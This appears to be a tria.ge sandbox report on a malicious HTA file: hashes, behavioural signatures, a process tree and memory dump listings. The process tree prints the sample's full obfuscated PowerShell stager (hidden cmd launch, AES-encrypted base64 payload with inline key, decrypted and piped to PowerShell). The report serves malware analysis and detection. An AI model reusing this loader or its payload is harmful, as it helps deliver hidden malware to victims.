Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    159s
  • max time network
    175s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/10/2023, 06:57

General

  • Target

    51ab827a541737c3612f61ec35e7c824a8f6df3a1b800dd0748c3f5a9901bc98.hta

  • Size

    1.3MB

  • MD5

    12e11aec09a12f714ccf9ab425ca70e9

  • SHA1

    9dead6076a2dadf2c2b530038bd4c3f6c0eb5aaa

  • SHA256

    51ab827a541737c3612f61ec35e7c824a8f6df3a1b800dd0748c3f5a9901bc98

  • SHA512

    29834691a9ca405b875622f273320699e71e2fab5cf5ef396f6248bfaf4e88836bbfc8817ebeea24f8ea2ebd19df3510bf28b1026a9a1a7d25fd6f32494ae74d

  • SSDEEP

    3072:rsas4u5vq277nFQX1OW9zBvG7+jY8iJgeUeBTfRtqvaZmcI2oZRa/FU:4aRu5vbFQXU653j0JDDDZmcI2oZRaNU

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\51ab827a541737c3612f61ec35e7c824a8f6df3a1b800dd0748c3f5a9901bc98.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1280
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $oUjKXXPP = 'AAAAAAAAAAAAAAAAAAAAAMh/3hf4IgQmfspR9EdE6Uau6j1WCjHn5PU9gxaekl+kbHtuzGLYPB4KS64eKTJfmRu5ehXCQCMGsVlYWrjpxFt/b9leZig9m/s3l7f2nOlajok91u4eQq1+tOhDm0/S0nMc5kWyJpGsIfp+0nobSIt+EvyK6zG9GOlo4sixk7yOUbMbh3dfaV+AOctUddFVNmJ/jCXjK5D+3uow4OHzz0He3fDE7yqX9Mf8wK4eEMKApKC2bGDHsPXcUt0gSMuRxAh5NiU47JgoDQsPp3+49WTGpCMx7pV+3jG+9eqC8CjN9tA9HifY9yYlvR1hP+4sX55dPZD9qMvF44/D91H8cDTx/2IIb6QxD8xA42GDktZQjI3W3yMB3zCiOWBji8hfkgXn80thYVtUeYx/gUKfbOgFFIz1sKW7duWrAtscfsJEVGLbs8tlNcJzDS9bBe4a1DIFynVWID++e3+kWaNNXeVR0yDNRHjjFyJ+2ehJLf8C5tPynp6LSRxi/e/JEd32sF5mprohM8td9mDqUYNKglbOIjn8kMPzbxoUoH9iXhZrTwhsg6K9rzopfxP4gwrj916OY7z3oLCfo8SNKQS16ZiS2hdbHxrWbJPlxojm3gNvaz/pKSZ9Mya9mgXPAIYFCnG94IbQh1/KH8J2wikAL25visbXsqwqIk259dDmNtsM+og1aQGwtCEO0fuARgdDdik97R8VVruxgCm8IhIhRUQBPTg/dhiUhOEJ1uF7Q0lUS6L9E7xzqnzVFWb3CVaST6nE37ksaIaVZNwDTVbI4laLq1LnfK7nd9I0OX/KyAW93kkcE6CbMTLAJo2N49WuSyTyRucDVThkSUZdSm1R25k9KxzVuEoX6cYgvhvBqu1hHnHswoq9HfKHCkSDsbhdkW7/WB7gE0qHa3niBxWxI//an3TMnPIX5zy3tMgcBwW80Lel/c63YsRXRHyTSuEUSbW/lH3Ck8WRIoskAH3sQEtkvtpR2/eUdzDs55BowJltvhoeMA1MfKtJujAdJ1MC08q4O2JxxyTgpnbYLgY2KmHuICWsAMWpuKGlebCCepqutrqaKOUfxuZi/GyoT1/V8L5woFux4EMqfbDmwmQResq1f9GpHLW88Kp27MD6cUn/98r3eRXsbE66U6W0Lxci1v86ySLKh3aA6sXEC5Dk0Vg=';$wgQxX = 'RE1ud0xDdnhIZ3dvZlRLWFFLbExvZVNZZ3ZnaGJCd0w=';$MkmLpzdO = New-Object 'System.Security.Cryptography.AesManaged';$MkmLpzdO.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MkmLpzdO.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MkmLpzdO.BlockSize = 128;$MkmLpzdO.KeySize = 256;$MkmLpzdO.Key = [System.Convert]::FromBase64String($wgQxX);$XICaV = [System.Convert]::FromBase64String($oUjKXXPP);$QxfpGTik = $XICaV[0..15];$MkmLpzdO.IV = $QxfpGTik;$bgWQPfldP = $MkmLpzdO.CreateDecryptor();$FQuUUaNPi = $bgWQPfldP.TransformFinalBlock($XICaV, 16, $XICaV.Length - 16);$MkmLpzdO.Dispose();$WDURE = New-Object System.IO.MemoryStream( , $FQuUUaNPi );$heVzth = New-Object System.IO.MemoryStream;$VQZLTCxHY = New-Object System.IO.Compression.GzipStream $WDURE, ([IO.Compression.CompressionMode]::Decompress);$VQZLTCxHY.CopyTo( $heVzth );$VQZLTCxHY.Close();$WDURE.Close();[byte[]] $IhzJwjj = $heVzth.ToArray();$iuvXSZ = [System.Text.Encoding]::UTF8.GetString($IhzJwjj);$iuvXSZ | powershell - }
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4036
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $oUjKXXPP = 'AAAAAAAAAAAAAAAAAAAAAMh/3hf4IgQmfspR9EdE6Uau6j1WCjHn5PU9gxaekl+kbHtuzGLYPB4KS64eKTJfmRu5ehXCQCMGsVlYWrjpxFt/b9leZig9m/s3l7f2nOlajok91u4eQq1+tOhDm0/S0nMc5kWyJpGsIfp+0nobSIt+EvyK6zG9GOlo4sixk7yOUbMbh3dfaV+AOctUddFVNmJ/jCXjK5D+3uow4OHzz0He3fDE7yqX9Mf8wK4eEMKApKC2bGDHsPXcUt0gSMuRxAh5NiU47JgoDQsPp3+49WTGpCMx7pV+3jG+9eqC8CjN9tA9HifY9yYlvR1hP+4sX55dPZD9qMvF44/D91H8cDTx/2IIb6QxD8xA42GDktZQjI3W3yMB3zCiOWBji8hfkgXn80thYVtUeYx/gUKfbOgFFIz1sKW7duWrAtscfsJEVGLbs8tlNcJzDS9bBe4a1DIFynVWID++e3+kWaNNXeVR0yDNRHjjFyJ+2ehJLf8C5tPynp6LSRxi/e/JEd32sF5mprohM8td9mDqUYNKglbOIjn8kMPzbxoUoH9iXhZrTwhsg6K9rzopfxP4gwrj916OY7z3oLCfo8SNKQS16ZiS2hdbHxrWbJPlxojm3gNvaz/pKSZ9Mya9mgXPAIYFCnG94IbQh1/KH8J2wikAL25visbXsqwqIk259dDmNtsM+og1aQGwtCEO0fuARgdDdik97R8VVruxgCm8IhIhRUQBPTg/dhiUhOEJ1uF7Q0lUS6L9E7xzqnzVFWb3CVaST6nE37ksaIaVZNwDTVbI4laLq1LnfK7nd9I0OX/KyAW93kkcE6CbMTLAJo2N49WuSyTyRucDVThkSUZdSm1R25k9KxzVuEoX6cYgvhvBqu1hHnHswoq9HfKHCkSDsbhdkW7/WB7gE0qHa3niBxWxI//an3TMnPIX5zy3tMgcBwW80Lel/c63YsRXRHyTSuEUSbW/lH3Ck8WRIoskAH3sQEtkvtpR2/eUdzDs55BowJltvhoeMA1MfKtJujAdJ1MC08q4O2JxxyTgpnbYLgY2KmHuICWsAMWpuKGlebCCepqutrqaKOUfxuZi/GyoT1/V8L5woFux4EMqfbDmwmQResq1f9GpHLW88Kp27MD6cUn/98r3eRXsbE66U6W0Lxci1v86ySLKh3aA6sXEC5Dk0Vg=';$wgQxX = 'RE1ud0xDdnhIZ3dvZlRLWFFLbExvZVNZZ3ZnaGJCd0w=';$MkmLpzdO = New-Object 'System.Security.Cryptography.AesManaged';$MkmLpzdO.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MkmLpzdO.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MkmLpzdO.BlockSize = 128;$MkmLpzdO.KeySize = 256;$MkmLpzdO.Key = [System.Convert]::FromBase64String($wgQxX);$XICaV = [System.Convert]::FromBase64String($oUjKXXPP);$QxfpGTik = $XICaV[0..15];$MkmLpzdO.IV = $QxfpGTik;$bgWQPfldP = $MkmLpzdO.CreateDecryptor();$FQuUUaNPi = $bgWQPfldP.TransformFinalBlock($XICaV, 16, $XICaV.Length - 16);$MkmLpzdO.Dispose();$WDURE = New-Object System.IO.MemoryStream( , $FQuUUaNPi );$heVzth = New-Object System.IO.MemoryStream;$VQZLTCxHY = New-Object System.IO.Compression.GzipStream $WDURE, ([IO.Compression.CompressionMode]::Decompress);$VQZLTCxHY.CopyTo( $heVzth );$VQZLTCxHY.Close();$WDURE.Close();[byte[]] $IhzJwjj = $heVzth.ToArray();$iuvXSZ = [System.Text.Encoding]::UTF8.GetString($IhzJwjj);$iuvXSZ | powershell -
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1264
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $oUjKXXPP = 'AAAAAAAAAAAAAAAAAAAAAMh/3hf4IgQmfspR9EdE6Uau6j1WCjHn5PU9gxaekl+kbHtuzGLYPB4KS64eKTJfmRu5ehXCQCMGsVlYWrjpxFt/b9leZig9m/s3l7f2nOlajok91u4eQq1+tOhDm0/S0nMc5kWyJpGsIfp+0nobSIt+EvyK6zG9GOlo4sixk7yOUbMbh3dfaV+AOctUddFVNmJ/jCXjK5D+3uow4OHzz0He3fDE7yqX9Mf8wK4eEMKApKC2bGDHsPXcUt0gSMuRxAh5NiU47JgoDQsPp3+49WTGpCMx7pV+3jG+9eqC8CjN9tA9HifY9yYlvR1hP+4sX55dPZD9qMvF44/D91H8cDTx/2IIb6QxD8xA42GDktZQjI3W3yMB3zCiOWBji8hfkgXn80thYVtUeYx/gUKfbOgFFIz1sKW7duWrAtscfsJEVGLbs8tlNcJzDS9bBe4a1DIFynVWID++e3+kWaNNXeVR0yDNRHjjFyJ+2ehJLf8C5tPynp6LSRxi/e/JEd32sF5mprohM8td9mDqUYNKglbOIjn8kMPzbxoUoH9iXhZrTwhsg6K9rzopfxP4gwrj916OY7z3oLCfo8SNKQS16ZiS2hdbHxrWbJPlxojm3gNvaz/pKSZ9Mya9mgXPAIYFCnG94IbQh1/KH8J2wikAL25visbXsqwqIk259dDmNtsM+og1aQGwtCEO0fuARgdDdik97R8VVruxgCm8IhIhRUQBPTg/dhiUhOEJ1uF7Q0lUS6L9E7xzqnzVFWb3CVaST6nE37ksaIaVZNwDTVbI4laLq1LnfK7nd9I0OX/KyAW93kkcE6CbMTLAJo2N49WuSyTyRucDVThkSUZdSm1R25k9KxzVuEoX6cYgvhvBqu1hHnHswoq9HfKHCkSDsbhdkW7/WB7gE0qHa3niBxWxI//an3TMnPIX5zy3tMgcBwW80Lel/c63YsRXRHyTSuEUSbW/lH3Ck8WRIoskAH3sQEtkvtpR2/eUdzDs55BowJltvhoeMA1MfKtJujAdJ1MC08q4O2JxxyTgpnbYLgY2KmHuICWsAMWpuKGlebCCepqutrqaKOUfxuZi/GyoT1/V8L5woFux4EMqfbDmwmQResq1f9GpHLW88Kp27MD6cUn/98r3eRXsbE66U6W0Lxci1v86ySLKh3aA6sXEC5Dk0Vg=';$wgQxX = 'RE1ud0xDdnhIZ3dvZlRLWFFLbExvZVNZZ3ZnaGJCd0w=';$MkmLpzdO = New-Object 'System.Security.Cryptography.AesManaged';$MkmLpzdO.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MkmLpzdO.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MkmLpzdO.BlockSize = 128;$MkmLpzdO.KeySize = 256;$MkmLpzdO.Key = [System.Convert]::FromBase64String($wgQxX);$XICaV = [System.Convert]::FromBase64String($oUjKXXPP);$QxfpGTik = $XICaV[0..15];$MkmLpzdO.IV = $QxfpGTik;$bgWQPfldP = $MkmLpzdO.CreateDecryptor();$FQuUUaNPi = $bgWQPfldP.TransformFinalBlock($XICaV, 16, $XICaV.Length - 16);$MkmLpzdO.Dispose();$WDURE = New-Object System.IO.MemoryStream( , $FQuUUaNPi );$heVzth = New-Object System.IO.MemoryStream;$VQZLTCxHY = New-Object System.IO.Compression.GzipStream $WDURE, ([IO.Compression.CompressionMode]::Decompress);$VQZLTCxHY.CopyTo( $heVzth );$VQZLTCxHY.Close();$WDURE.Close();[byte[]] $IhzJwjj = $heVzth.ToArray();$iuvXSZ = [System.Text.Encoding]::UTF8.GetString($IhzJwjj);$iuvXSZ
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3148
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2860

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    def65711d78669d7f8e69313be4acf2e

    SHA1

    6522ebf1de09eeb981e270bd95114bc69a49cda6

    SHA256

    aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

    SHA512

    05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    15KB

    MD5

    c6107dd4cb2356ca1a38cf615c7a23ba

    SHA1

    10a959ec74b584f2b272f27a8c0c4395d38ab8b2

    SHA256

    c25536ce2ca84f7cc9bc1457062ef8294bf5b5c82f7d6fff35847800519fe4e6

    SHA512

    7c88cf20dbda5e01d90721e91e8a86ade7505487c4b1b07fba7ae441aa776c365ab11db91f9af6af88a94fc06338894e46ae5979e2a39a46de3d1e5e705694dd

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oicypntu.xje.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2860-63-0x0000000002FA0000-0x0000000002FB0000-memory.dmp

    Filesize

    64KB

  • memory/2860-65-0x0000000002FA0000-0x0000000002FB0000-memory.dmp

    Filesize

    64KB

  • memory/2860-80-0x00000000080F0000-0x0000000008193000-memory.dmp

    Filesize

    652KB

  • memory/2860-79-0x0000000008090000-0x00000000080AE000-memory.dmp

    Filesize

    120KB

  • memory/2860-82-0x0000000008240000-0x0000000008251000-memory.dmp

    Filesize

    68KB

  • memory/2860-69-0x000000006E1B0000-0x000000006E504000-memory.dmp

    Filesize

    3.3MB

  • memory/2860-68-0x000000006E050000-0x000000006E09C000-memory.dmp

    Filesize

    304KB

  • memory/2860-67-0x00000000080B0000-0x00000000080E2000-memory.dmp

    Filesize

    200KB

  • memory/2860-66-0x000000007EF90000-0x000000007EFA0000-memory.dmp

    Filesize

    64KB

  • memory/2860-34-0x0000000071790000-0x0000000071F40000-memory.dmp

    Filesize

    7.7MB

  • memory/2860-64-0x0000000002FA0000-0x0000000002FB0000-memory.dmp

    Filesize

    64KB

  • memory/2860-56-0x0000000006C50000-0x0000000006C94000-memory.dmp

    Filesize

    272KB

  • memory/2860-62-0x0000000071790000-0x0000000071F40000-memory.dmp

    Filesize

    7.7MB

  • memory/2860-81-0x00000000055E0000-0x00000000055EA000-memory.dmp

    Filesize

    40KB

  • memory/2860-60-0x0000000002FA0000-0x0000000002FB0000-memory.dmp

    Filesize

    64KB

  • memory/2860-58-0x0000000007B70000-0x0000000007BE6000-memory.dmp

    Filesize

    472KB

  • memory/2860-83-0x000000007EF90000-0x000000007EFA0000-memory.dmp

    Filesize

    64KB

  • memory/2860-87-0x0000000071790000-0x0000000071F40000-memory.dmp

    Filesize

    7.7MB

  • memory/2860-35-0x0000000002FA0000-0x0000000002FB0000-memory.dmp

    Filesize

    64KB

  • memory/3148-61-0x0000000071790000-0x0000000071F40000-memory.dmp

    Filesize

    7.7MB

  • memory/3148-32-0x0000000004620000-0x0000000004630000-memory.dmp

    Filesize

    64KB

  • memory/3148-57-0x0000000007640000-0x0000000007CBA000-memory.dmp

    Filesize

    6.5MB

  • memory/3148-33-0x0000000004620000-0x0000000004630000-memory.dmp

    Filesize

    64KB

  • memory/3148-31-0x0000000071790000-0x0000000071F40000-memory.dmp

    Filesize

    7.7MB

  • memory/3148-55-0x0000000004620000-0x0000000004630000-memory.dmp

    Filesize

    64KB

  • memory/4036-19-0x00000000050C0000-0x00000000050D0000-memory.dmp

    Filesize

    64KB

  • memory/4036-30-0x0000000071790000-0x0000000071F40000-memory.dmp

    Filesize

    7.7MB

  • memory/4036-26-0x0000000007B50000-0x00000000080F4000-memory.dmp

    Filesize

    5.6MB

  • memory/4036-25-0x0000000006A80000-0x0000000006AA2000-memory.dmp

    Filesize

    136KB

  • memory/4036-24-0x0000000006A30000-0x0000000006A4A000-memory.dmp

    Filesize

    104KB

  • memory/4036-23-0x0000000007500000-0x0000000007596000-memory.dmp

    Filesize

    600KB

  • memory/4036-22-0x00000000050C0000-0x00000000050D0000-memory.dmp

    Filesize

    64KB

  • memory/4036-21-0x0000000006590000-0x00000000065DC000-memory.dmp

    Filesize

    304KB

  • memory/4036-20-0x00000000063B0000-0x00000000063CE000-memory.dmp

    Filesize

    120KB

  • memory/4036-0-0x0000000071790000-0x0000000071F40000-memory.dmp

    Filesize

    7.7MB

  • memory/4036-18-0x00000000050C0000-0x00000000050D0000-memory.dmp

    Filesize

    64KB

  • memory/4036-17-0x0000000071790000-0x0000000071F40000-memory.dmp

    Filesize

    7.7MB

  • memory/4036-16-0x0000000006000000-0x0000000006354000-memory.dmp

    Filesize

    3.3MB

  • memory/4036-6-0x0000000005E50000-0x0000000005EB6000-memory.dmp

    Filesize

    408KB

  • memory/4036-5-0x0000000005DE0000-0x0000000005E46000-memory.dmp

    Filesize

    408KB

  • memory/4036-4-0x00000000054E0000-0x0000000005502000-memory.dmp

    Filesize

    136KB

  • memory/4036-3-0x0000000005700000-0x0000000005D28000-memory.dmp

    Filesize

    6.2MB

  • memory/4036-2-0x0000000002B90000-0x0000000002BC6000-memory.dmp

    Filesize

    216KB

  • memory/4036-1-0x00000000050C0000-0x00000000050D0000-memory.dmp

    Filesize

    64KB